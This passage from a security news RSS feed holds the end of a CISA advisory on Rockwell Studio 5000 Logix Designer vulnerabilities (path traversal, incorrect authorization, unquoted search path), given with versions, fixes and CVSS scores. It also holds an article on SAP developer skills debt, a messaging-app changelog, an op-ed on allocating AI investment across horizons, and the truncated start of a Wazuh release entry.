<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Studio 5000 Logix Designer: V36.00, Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: V35.01, Rockwell Automation Studio 5000 Logix Designer: &gt;=V34.00|&lt;=V34.03, Rockwell Automation Studio 5000 Logix Designer: &gt;=V33.00|&lt;=V33.03, Rockwell Automation Studio 5000 Logix Designer: &gt;=V32.00|&lt;=V32.04</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommends users to upgrade to the following: Studio 5000 Logix Designer: V37.00, 36.01, 35.02, 34.04, 33.04, 32.05 (CVE-2026-9108)</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>5.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-9127</a></h3>
<div class="csaf-accordion-content">
<p>A remote code execution security issue exists within Studio 5000 Logix Designer due to incorrect authorization on a configuration file. This can allow any authenticated user to modify the paths of external tools configured within the application. If exploited, an attacker could alter the configuration to point to a malicious executable, resulting in arbitrary code execution when any user interacts with the external tools functionality.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-9127">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Studio 5000 Logix Designer</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: &gt;=V32.00|&lt;=V32.04, Rockwell Automation Studio 5000 Logix Designer: V34.00, Rockwell Automation Studio 5000 Logix Designer: V34.01, Rockwell Automation Studio 5000 Logix Designer: V33.00, Rockwell Automation Studio 5000 Logix Designer: V33.02</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Studio 5000 Logix Designer: V36.00, 35.01, 34.02, 33.02, 32.05 (CVE-2026-9127)</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/863.html">CWE-863 Incorrect Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-9128</a></h3>
<div class="csaf-accordion-content">
<p>A code execution security issue exists within Studio 5000 Logix Designer due to an unquoted search path in the External Tools configuration. The executable paths specified in the external tools configuration file are not properly quoted, and because these paths contain spaces, the operating system may resolve them to unintended executables placed earlier in the search order. If exploited, an attacker could plant a malicious executable in a location within the search path, resulting in arbitrary code execution with the same permissions of the user running the application.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-9128">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Studio 5000 Logix Designer</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: &gt;=V32.00|&lt;=V32.04, Rockwell Automation Studio 5000 Logix Designer: &gt;=V34.00|&lt;=V34.02, Rockwell Automation Studio 5000 Logix Designer: &gt;=V33.00|&lt;=V33.02</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Studio 5000 Logix Designer: V36.00, 35.01, 34.03, 33.03, 32.05 (CVE-2026-9128)</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/428.html">CWE-428 Unquoted Search Path or Element</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time. These vulnerabilities have a high attack complexity.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-21</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-21</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Security Advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[SAP developers face education debt, user group warns]]></title>
<description><![CDATA[Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.



The user association urges CIOs to treat the continuing ...]]></description>
<link>https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/</guid>
<pubDate>Tue, 21 Jul 2026 17:50:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.</p>



<p class="wp-block-paragraph">The user association urges CIOs to treat the continuing education of SAP developers not as a voluntary training measure but as a strategic investment program in a new <a href="https://impulsant.dsag.de/wp-content/uploads/2026/07/CIO-Upskilling.pdf" target="_blank" rel="noreferrer noopener">report on upskilling</a> [PDF, in German]. Well-trained developers are essential for building stable, maintainable in-house projects without accumulating technical debt, but without continuing education during the upgrade to S/4HANA, the potential of the new technologies will remain untapped, it warned.</p>



<h2 class="wp-block-heading">Outdated expertise becomes a project risk</h2>



<p class="wp-block-paragraph">As the authors explain, while many ABAP developers have decades of experience with SAP R/3 or ECC and possess extensive process knowledge, development paradigms have fundamentally changed with S/4HANA, Clean Core, and <a href="https://www.cio.com/article/189599/sap-doubles-down-on-citizen-developer-strategy.html#:~:text=There%E2%80%99s%20also%20a,cloud%2C%E2%80%9D%20says%20Mueller.">ABAP Cloud</a>.</p>



<p class="wp-block-paragraph">In the long term, this threatens to lead to poor architectural decisions, time-consuming workarounds, and in-house developments that will need to be maintained with every release, according to DSAG. Many business consultants, too, are still relying too heavily on classic GUI transactions and not taking modern Fiori technologies sufficiently into account.</p>



<p class="wp-block-paragraph">The result is what the SAP user group refers to as “skills debt.” This debt remains invisible at first but later becomes apparent in the form of longer projects, rising maintenance costs, and a growing dependence on external service providers.</p>



<h2 class="wp-block-heading">Skill building must start before the project</h2>



<p class="wp-block-paragraph">The DSAG authors view the timing of training as particularly critical. Those who wait until an ongoing S/4HANA migration project is underway to begin building expertise significantly increase the project risk. A lack of knowledge about CDS, RAP, or Fiori leads to architectural decisions that must later be corrected at great expense. At the same time, the necessary learning effort can hardly be managed alongside day-to-day business operations.</p>



<p class="wp-block-paragraph">But even after the migration is complete, SAP developers must continue their training, according to DSAG. The authors warn that anyone who continues to work as they did on ECC will miss out on the opportunities offered by current SAP technologies — even if everything still works technically. At the same time, they can immediately apply what they’ve learned, which helps solidify their new knowledge.</p>



<h2 class="wp-block-heading">AI no replacement for developer expertise</h2>



<p class="wp-block-paragraph">While <a href="https://www.cio.com/article/4197428/sap-study-ai-pays-off-but-governance-is-lagging-behind.html">AI tools can generate and explain code</a>, this requires that developers be able to evaluate the results from a technical perspective, and according to DSAG the same applies to development in the SAP environment: “Only those who understand what constitutes good SAP code can use AI as an accelerator,” the authors write. Otherwise, AI acts as a risk amplifier and, in the worst case, merely accelerates the accumulation of technical debt.</p>



<p class="wp-block-paragraph">The prerequisites for successful AI deployment are solid software engineering knowledge, automated testing, and an understanding of modern SAP development.</p>



<h2 class="wp-block-heading">DSAG’s five recommendations</h2>



<p class="wp-block-paragraph">DSAG recommends that CIOs firmly integrate continuing education into their transformation strategy with five measures:</p>



<ul class="wp-block-list">
<li>defining mandatory learning paths for different roles, such as ABAP, CAP, or integration developers, as well as business consultants,</li>



<li>providing suitable sandbox and test environments,</li>



<li>mandatorily including training time in capacity planning,</li>



<li>coordinating training schedules with migration and modernization projects, and</li>



<li>using existing DSAG guidelines as a reference framework for development.</li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v 7.0.4]]></title>
<description><![CDATA[Enable rich text editor for scheduled messages and quick replies.
Upload rich message photos in high quality.
Fix crash in some video files viewer.
Fix crash in shared files section.]]></description>
<link>https://tsecurity.de/de/3684151/downloads/v-704/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684151/downloads/v-704/</guid>
<pubDate>Tue, 21 Jul 2026 17:20:10 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Enable rich text editor for scheduled messages and quick replies.</li>
<li>Upload rich message photos in high quality.</li>
<li>Fix crash in some video files viewer.</li>
<li>Fix crash in shared files section.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wazuh v5.0.0 Beta 4]]></title>
<description><![CDATA[What's Changed

fix: persist engine startup state for CMSync route logging by @jam300 in #37356
Fix invalid MTU value reported for Windows network interfaces by @vikman90 in #37394
Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by @lchico in #37414
Suppress version-coordination...]]></description>
<link>https://tsecurity.de/de/3683727/it-security-tools/wazuh-v500-beta-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683727/it-security-tools/wazuh-v500-beta-4/</guid>
<pubDate>Tue, 21 Jul 2026 14:50:03 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
